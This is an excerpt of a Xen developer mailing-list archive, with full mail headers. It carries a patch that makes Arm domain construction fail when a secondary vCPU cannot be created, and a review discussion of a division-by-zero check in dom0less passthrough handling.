 b=EyV0Px6li/SL6TTXVRg1cAeQ6p/FCXOeRzTyK2GmhF31fjq8HHxk1Z4hrUBaHfJ0KLVMrUNIbIShLxiBG5Dv2/XKxn/R2IqeXxn174GhfEZQRpThZdPdDOnB1iXXXy4/dDIUTHT/eJwRJu25gBOftHCPpE/KcZN02gJKvuypejU=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 165.204.84.17)
 smtp.mailfrom=amd.com; dkim=none (message not signed)
 header.d=none;dmarc=pass action=none header.from=amd.com;
Received-SPF: Pass (protection.outlook.com: domain of amd.com designates
 165.204.84.17 as permitted sender) receiver=protection.outlook.com;
 client-ip=165.204.84.17; helo=satlexmb07.amd.com; pr=C
From: Michal Orzel <michal.orzel@amd.com>
To: <xen-devel@lists.xenproject.org>
CC: Michal Orzel <michal.orzel@amd.com>, Stefano Stabellini
	<sstabellini@kernel.org>, Julien Grall <julien@xen.org>, Bertrand Marquis
	<bertrand.marquis@arm.com>, Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
	<ayan.kumar.halder@amd.com>, Oleksii Kurochko <oleksii.kurochko@gmail.com>
Subject: [for-4.22][PATCH v2] xen/arm: Fail domain construction if a secondary vCPU cannot be created
Date: Thu, 9 Jul 2026 08:36:43 +0200
Message-ID: <20260709063643.11800-1-michal.orzel@amd.com>
X-Mailer: git-send-email 2.43.0
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Content-Type: text/plain
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: MWH0EPF000C6187:EE_|SJ0PR12MB8165:EE_
X-MS-Office365-Filtering-Correlation-Id: eebeb375-50d5-4286-abc7-08dedd847401
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|23010399003|376014|1800799024|36860700016|82310400026|11063799006|18002099003|56012099006|6133799003;
X-Microsoft-Antispam-Message-Info:
	Lejpg5EQeEKzwUTs10xfYy9+aRaZnmXzJ0L00rYroZYzPhK2yWPoaO879GE/S1fmkrgzducL/79WIMZgRfaVH0vM8hm7dYzMy6ph4frwGo5clJ2SA+v9ssr4m0p6A+MFeAAxV3XvVwLwPJ9NEnX2G53/ICbxVGyRoTfmUfEa4FOBgjgZX0ZO/rdT2xD1OpNVweHYHI3AY1nn19W9U+IiYe1U5RygYJCnfqOOo/78mscuzNoCuevXYHpVDtSn9IvF4fu+6BgRjocmtjn2jrUh5j6zFxag+Qr2Dy+pmOKmCgLZF7DMtMNqCFafw/PFCPXRZ53PljwCoY4LzDCQc8INyFxYYRRNYMa4JzPHx77QFRVGwL23ZB2rIOfCqu2SyuqSEcOu61xs/NNyG2UwjYCcTEOPycQkj6T+Q9WMFuyylby8faYOdBuN3XE//urWoTcfKDiu6VF8aXrRk81c1OPlQ2XQyTkgsLLxcDEMLL039EiQF/0u+MuxP5nWm6nqmQ4PjQrUIAc5RAROtvTcu2bargO/LXUEIeTInfxDeaFB4EvBgSxt0ZwpXRPaOi6mVA5/Tjl+eICBLaAyN+yCcXO84gtj414G/nilmVFrCo1mIjR1d5/dEdJEmQSl6ySSJUMA4ZH3uj23eNd0sjvin8Xze/jvNqBSCUUg0cRm68mN8H8+JTsOzwAqrbeGO0jGHo8eJSl/Ez3pxd73QRI57099Hw==
X-Forefront-Antispam-Report:
	CIP:165.204.84.17;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:satlexmb07.amd.com;PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(23010399003)(376014)(1800799024)(36860700016)(82310400026)(11063799006)(18002099003)(56012099006)(6133799003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	6QOxPq44SFPm2mf57tbxuu66EFV0Qtxjhq4yx3U2Kw6i1BhBbpifEH+i034ai1WeKKzIu0EPiZKxg3tps58BMZpUtmYw62DTy9p2J6OrKWF11rEV+jD/dvCi3M/+K5pDuQzHHNyqdNkttaYvuAhq1c1eVHhFSdv6VRE7tKNVrZyGYCIojjUdmetJv+NsOosLzRg2Wgj7qvQ6AZ0d+hF+t3ZufptBHwgABzwlxtyI5zusc/AVTfPEI8g/6US2SaTJB9OVdgqTnroIJ1JBqKL+F/vZwdnr20IOkOPkHf2oZqHzqBKWlQDgam/OhM/mr/vuOb00MvtwyHKWBMbqOETYV1nIE3UFqYJFDwbttvXHyB9QrhnIH8eUMrpcwwJPDlaT7dAXn5bOInFwvXKP+NsLUub+SPJIAcRLXG/OhsCE0cokrJI5MjCaRstLs7Of1mYX
X-OriginatorOrg: amd.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 09 Jul 2026 06:36:48.4075
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: eebeb375-50d5-4286-abc7-08dedd847401
X-MS-Exchange-CrossTenant-Id: 3dd8961f-e488-4e60-8e11-a82d994e183d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=3dd8961f-e488-4e60-8e11-a82d994e183d;Ip=[165.204.84.17];Helo=[satlexmb07.amd.com]
X-MS-Exchange-CrossTenant-AuthSource:
	MWH0EPF000C6187.namprd02.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: SJ0PR12MB8165
X-purgate-ID: tlsNG-bad1c0/1783579014-577AD986-EFA176D1/0/0
X-purgate-type: clean
X-purgate-size: 1728

construct_domain() creates the secondary vCPUs in a loop, but on a
vcpu_create() failure it only prints a message and breaks out of the
loop returning success. As a result the domain can be partially
constructed with fewer vCPUs than d->max_vcpus. This causes two contract
violations:
 - Xen-Guest: domain's FDT is generated before vCPU creation - Xen exposes
   incorrect information (e.g. two vCPUs listed in a device tree while only
   one is actually created),
 - User-Xen: unlike x86, on Arm port we try to bail out as soon as
   possible on unsatisfied user requests (e.g. user requested two vCPUs
   for a domain but it was created with only one).

Return an error instead of breaking out of the loop. Both callers
(construct_domU() and construct_hwdom()) already propagate a negative
return value and fail domain construction.

Fixes: 6b0e8e43348a ("xen/arm: allocate secondaries dom0 vcpus")
Signed-off-by: Michal Orzel <michal.orzel@amd.com>
---
Changes in v2:
 - return ENOMEM as allocation failure is most frequent cause of failure
 - update commit msg to focus on unmet contracts
---
 xen/arch/arm/domain_build.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/xen/arch/arm/domain_build.c b/xen/arch/arm/domain_build.c
index 550617f152bb..72d531618045 100644
--- a/xen/arch/arm/domain_build.c
+++ b/xen/arch/arm/domain_build.c
@@ -1847,7 +1847,7 @@ int __init construct_domain(struct domain *d, struct kernel_info *kinfo)
         if ( vcpu_create(d, i) == NULL )
         {
             printk("Failed to allocate d%dv%d\n", d->domain_id, i);
-            break;
+            return -ENOMEM;
         }
 
         if ( is_64bit_domain(d) )
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Thu Jul 09 06:57:37 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 06:57:37 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357556.1611931 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whihO-00072s-A4; Thu, 09 Jul 2026 06:57:30 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357556.1611931; Thu, 09 Jul 2026 06:57:30 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whihO-00072l-7P; Thu, 09 Jul 2026 06:57:30 +0000
Received: by outflank-mailman (input) for mailman id 1357556;
 Thu, 09 Jul 2026 06:57:29 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1whihM-00072c-Qh
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 06:57:29 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whihK-00DjDB-Gl
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 08:57:26 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4f4642-5cb7-0a2a0a5109dd-0a2a4508c0bc-48
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 08:57:26 +0200
Received: from [209.85.221.45] (helo=mail-wr1-f45.google.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4f4656-edec-0a2a45080019-d155dd2db8d4-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 08:57:26 +0200
Received: by mail-wr1-f45.google.com with SMTP id
 ffacd0b85a97d-47362928f65so444885f8f.2
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 23:57:26 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47aa0f21328sm49655932f8f.32.2026.07.08.23.57.25
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 08 Jul 2026 23:57:25 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783580246; x=1784185046; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=+k0C3q49/KKBZ0MnIjWWzf2c4PRxgP3HEjn68PXLNqs=;
        b=VMFGMOXB2/FCyIF8ThnYyHkN4Uj6vj759dPoWwCf/EeCSzOinbnwoqK2m8x2fTUqCM
         DFkgakVvSO+ZLOB2omU8uLD71R06qlq5HuHPrWxHULlNN8kLRd2p235YqCaGZvQTRwEA
         kbRMaKA1zaLn6wQgeNWNhhNvJTKapeFTwhSHG3v7BupSdMPDBX3kLGCXmSlabuayzjLU
         hf/HgE0ktbQMjAXIpJekaxTa3h/Cmfe8Rqs9/x9vS7oJyqZGhB+oN5rb51CbaSnLgBtb
         xvwU5ZTLO9kAleHHHtb9dG3WLnRBSxfbxAH2ca7IiNI5K0Q7FlSLZ7aS2DVlpWTH0KZ+
         U8kg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783580246; x=1784185046;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=+k0C3q49/KKBZ0MnIjWWzf2c4PRxgP3HEjn68PXLNqs=;
        b=p351tEBBOd7UIPvi9abXoN95uDK2E++BM66M+I66wYYZ+/zCl18BgDzEWtR7XrDPTG
         /LzuuDq4zpUpfJMFkWVsokM+kr6dKYpoNJ1TZCcSUjMu9AHIZ/u/OdBsEfkcNVT10Zet
         WxCJWkzkP1lCRtt44LWzvthvLe3+s8MSaH+VRuhwnxh4LLItWPNtWIwWzpjv5VB16UZd
         DiQ+ZGf7+H2KRbcl3HauJwKvRksa5TD5uB7A77B6hKqK9iQaEuxHSHF2tFPKm1mFMBne
         9OvNEN3T9qDXZCn+I1kfO92zPa3HE/JcNrdXuRlCmmOhG4l5WSBx1oC1ajT6PF1n4GhB
         rjlA==
X-Forwarded-Encrypted: i=1; AHgh+RpitZA8ExqipRORKq5zXS8BuMOI3/e8lYvBv0F4PfgD6kt8z+8WdWswewV395Uzvbh1wYHm1bf+xmg=@lists.xenproject.org
X-Gm-Message-State: AOJu0YyScCe00kqouBkw2c9jFjM+m6xlWfM50oy4moIJHMOgF4VUnrkk
	RyBR0gDNbhcJjUHURVmLSjjJGa2/uqLFYEDGX8linGaxhv8SedGpDemS6MYFiVn//w==
X-Gm-Gg: AfdE7clxKfGtqvBN1n70FSzlB8F5YM7EWpDMOc7roplYRRJfiCgHfLvnC4P3+u2N30N
	emWh2ZWkkrLw2LMaPr1Za+Q7QCtqOYn6U/CV9s+v3agAMkl4H/vdXv8FXxymlqQ2662rXDbvV6h
	TCHRJBWbiyPHRdBipEgEWfuYfMlgXtpXe82pt+Trhj3O/jMkVQU5TAHqlTwOtni+eNP4hQsvklP
	hclTGdLsOgj/m8Fj6ayVARC3m6vGjEnSnSjJyzBOv+jIUnx9dFwIWJAR1jboK44SsHOBbY8+QLE
	KnPeo4dr573ivfjNWVxpvqr3opArMBcezxrwNwgaQ2Oqw/k2UDDTMJhoiGQhxtqGyfr5+6Kgc7w
	ULgizMGJEcCfbMFPnUH+29Oi2bMikmU368n7AOMNwbm6PyjnjFoTkNFRYXKNIiiV/Q/7h8hxF5p
	1IKobiBfz2t/778GB/7yjKNpzscOlr2kddizYF4WkXzDtnlRXUzD6g1nxJcNqRh4bG1w5Ajs2WW
	f4I
X-Received: by 2002:a05:6000:4709:b0:475:f0d1:eb69 with SMTP id ffacd0b85a97d-47df07c5accmr6149484f8f.54.1783580245776;
        Wed, 08 Jul 2026 23:57:25 -0700 (PDT)
Message-ID: <ec7bc0ef-e267-4240-ad73-13dd17e1575b@suse.com>
Date: Thu, 9 Jul 2026 08:57:24 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH for-4.22] dom0less: Prevent division by zero in
 handle_passthrough_prop()
To: Dmytro Prokopchuk1 <dmytro_prokopchuk1@epam.com>
Cc: Stefano Stabellini <sstabellini@kernel.org>, Julien Grall
 <julien@xen.org>, Bertrand Marquis <bertrand.marquis@arm.com>,
 Michal Orzel <michal.orzel@amd.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>,
 Oleksii Kurochko <oleksii.kurochko@gmail.com>
References: <cce2493855ce3b610a2d36cbcd149292254170aa.1783436517.git.dmytro_prokopchuk1@epam.com>
 <e494980c-485e-4dc6-ba84-e40fd53442d6@gmail.com>
 <21ec0511-bf7e-44fa-b6f6-99d9c4085eda@suse.com>
 <c8769518-3f84-4c73-920d-975b7efaaf92@epam.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <c8769518-3f84-4c73-920d-975b7efaaf92@epam.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-c1860d/1783580246-423203FC-6A1B0FFC/0/0
X-purgate-type: clean
X-purgate-size: 2574

On 08.07.2026 19:04, Dmytro Prokopchuk1 wrote:
> Hello Jan,
> 
> On 7/8/26 09:15, Jan Beulich wrote:
>> On 07.07.2026 18:08, Oleksii Kurochko wrote:
>>> On 7/7/26 5:16 PM, Dmytro Prokopchuk1 wrote:
>>>> --- a/xen/common/device-tree/dom0less-build.c
>>>> +++ b/xen/common/device-tree/dom0less-build.c
>>>> @@ -154,6 +154,13 @@ static int __init handle_passthrough_prop(struct kernel_info *kinfo,
>>>>    
>>>>        /* xen,reg specifies where to map the MMIO region */
>>>>        cell = (const __be32 *)xen_reg->data;
>>>> +
>>>> +    if ( (address_cells * 2 + size_cells) == 0 )
>>>
>>> Considering that this calculation happens second time here ...
>>>
>>>> +    {
>>>> +        printk(XENLOG_ERR "Invalid address/size cells combination (both 0)\n");
>>>> +        return -EINVAL;
>>>> +    }
>>>> +
>>>>        len = fdt32_to_cpu(xen_reg->len) / ((address_cells * 2 + size_cells) *
>>>>                                            sizeof(uint32_t));
>>>
>>> ... I think it would be nice to calculate that once.
>>
>> Hmm, originally I meant to simply stay silent here. But now that you say this,
>> I'd like to express that I find this 2nd calculation of the same expression
>> bogus. If the goal is to deal with both values being zero at the same time,
>> check that (and nothing else). If instead the goal is to truly prevent the
>> divisor expression from ending up 0, that (and not a shorter surrogate) would
>> need checking. In particular, the multiplication by sizeof(uint32_t) can
>> convert non-zero to zero.
> Yes, you are right. Need to check whole expression.
>>
>> At that point the question then would be whether overflow (and hence
>> truncation) in any of the involved expressions shouldn't also be detected /
>> rejected.
> Testing zero is useful, but not enough - the expression (address_cells * 
> 2 + size_cells) * sizeof(*cell) can overflow and wrap around to a small, 
> non-zero number. Source code analyze showed that Xen only supports cell 
> sizes of 1 or 2, and there is a ASSERT_UNREACHABLE() in dt_read_number() 
> which prevents from using wrong cell values in DEBUG builds.
> 
> I would propose the next checking:
> 
>      if ( address_cells < 1 || address_cells > 2 ||
>           size_cells < 1 || size_cells > 2 )
>      {
>          printk(XENLOG_ERR "Invalid address/size cells combination\n");
>          return -EINVAL;
>      }
> 
> This will cover zero check, and overflows.

It'll need to be the maintainers of this code to judge whether this is
appropriate here.

Jan


From xen-devel-bounces@lists.xenproject.org Thu Jul 09 06:59:20 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 06:59:20 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357564.1611940 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whij9-0007c2-Ku; Thu, 09 Jul 2026 06:59:19 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357564.1611940; Thu, 09 Jul 2026 06:59:19 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whij9-0007bv-Hl; Thu, 09 Jul 2026 06:59:19 +0000
Received: by outflank-mailman (input) for mailman id 1357564;
 Thu, 09 Jul 2026 06:59:19 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1whij8-0007bp-Vt
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 06:59:18 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whij7-00CMap-9K
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 08:59:17 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4f46c4-e002-0a2a0a5209dd-0a2a4503a690-4
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 08:59:17 +0200
Received: from [209.85.128.51] (helo=mail-wm1-f51.google.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4f46c4-ec1a-0a2a45030019-d1558033dc5e-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 08:59:16 +0200
Received: by mail-wm1-f51.google.com with SMTP id
 5b1f17b1804b1-493d1e8aa46so11373315e9.0
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 23:59:16 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493eb6d5055sm39563805e9.5.2026.07.08.23.59.15
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 08 Jul 2026 23:59:15 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783580356; x=1784185156; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=iQpsb3iXAQijiU4BHnxRyrvo/fL4hiT8x+4qFs+RK5M=;
        b=ZQ1MrqyPfeKb0rU2rcUhtDlIk7WE25ODJwtn5KIjRtDi1PQgbQ185UcYiwUZb13KyK
         3HYYRNcCtpu6nc0gbxyRGekoF95g7s02dUL6SIMpsWJJhpFK0GdKQgM0VAGBzTvxUU3s
         qzHOpo11DHgqGgWWRBetVRrGud67EQFKuNLsKfv2/2vKbInzVWTgmaZm+q0TnuiCayV2
         8ZIKwiNEs406GncR/sXqQjfAHt3ebor0CEuj8fHpTe2Va9Feh0UNG5aSroY1Ukkzuv7P
         QbsjBi3daVWpwJPTBODzav8CICeQk/Vj6I8ysjb793XPBDSObleDsWr3kDafNex/eNsR
         SISw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783580356; x=1784185156;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=iQpsb3iXAQijiU4BHnxRyrvo/fL4hiT8x+4qFs+RK5M=;
        b=gM5wI4eIw54GNeA9grJDR1SUytwwwqIQb7Ban6mcoPV3r7fMj2mYcxKZ6mhFWQEuei
         pA4y10C+OcazGPVeE1kxTU8x1t2xnMcnx+FnA2dr68yz/Ekvim+hLdsWhF/S3Xq0Z2OC
         /P5jPagpMxAv+lJRUmTqc5LyaKJ8dLOIPB/yJbUrgcMSO6GvClWQGqm8OB4MJfhVKwQI
         Im4jY7d5SpmDYmP4r5wijZhIHhRvPWfftOwGJRbeDsp4scX9GPm/8Cae5lyID7FkkEEu
         Jt1l1b1547iSxBdJoVESrPdkcdUN6pblV3c2ifadkp8eSmN5ztPVK0vYwkXjDL954bG7
         5gRw==
X-Forwarded-Encrypted: i=1; AHgh+RoveP95S2sJe0sphvOcggxeJoeoUPzklaVOmf7oly4REQ6qCYcyoYd9VzwujV1Wwom8Lq4osSQqSEA=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yyxd+TyNndWCIfCs8dX8HXv3p21uqoH6E4UieMLrKERqoiTktg2
	imnExynt5ZaJNoLsdDBWR1ANIUmPNpfcKYoNwsfyeSns5XzNGqNH/tyATBRAZ2lHmA==
X-Gm-Gg: AfdE7cmeXsRZrBr9xZYzb/jZjlTmBQAYnW/w+ECYaCw7FOrB8y7qHSIl9+wC0DWXP8N
	e+SvR5eJFGHDnP7zWSwM9qbdSc6aWsdrlWgw5i8YUoBGU2/e1qxsWPDgyiA0IOhE32m0eFG3fEI
	TGMhNi9XRbqA4vaKrujUdjnhoWxrvqSJ/7InKfJJahsx9dpOYixV0WI7pHrsqtqv7EkdJl8AYje
	+/uuvdYivXqZY8h6axCyZEcgR4Oyk3jr/08VEsUbd8DuM7MjhhQfnWx6JOtOCBbQLWkm3JM/PX4
	e/pb67n6D/P6HQBj/FGpy/15Nh4D5LDRaorVnd1WDeaRdhLvay/4BXCh/1yzEiOEutVoN3KpJUJ
	GPKpkCAlDBLWsOflRrzdhOYVt9ga2AzCrHO86X61w3nOt3sZ/IE/Xb1P5WqmGZb+9NQLY3Wtunn
	KD9cm5d/e4YKtQnb1Z8UfhnDX1VhNQ7HY7AWjGmmAZufayAaCzkamSqzCpBTO4Ut4+PTWiSsjbx
	NU9I25wrbkcBGI=
X-Received: by 2002:a05:600c:6094:b0:492:28be:6098 with SMTP id 5b1f17b1804b1-493e68bef5dmr53511405e9.11.1783580356253;
        Wed, 08 Jul 2026 23:59:16 -0700 (PDT)
Message-ID: <73814d0c-6cb7-40b2-89e1-dbb15f9c96e3@suse.com>
Date: Thu, 9 Jul 2026 08:59:15 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [XEN PATCH] get_maintainer: Add maintainers based on keyword
 after removing THE REST
To: Anthony PERARD <anthony@xenproject.org>
Cc: Anthony PERARD <anthony.perard@vates.tech>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <20260701162022.30265-1-anthony@xenproject.org>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
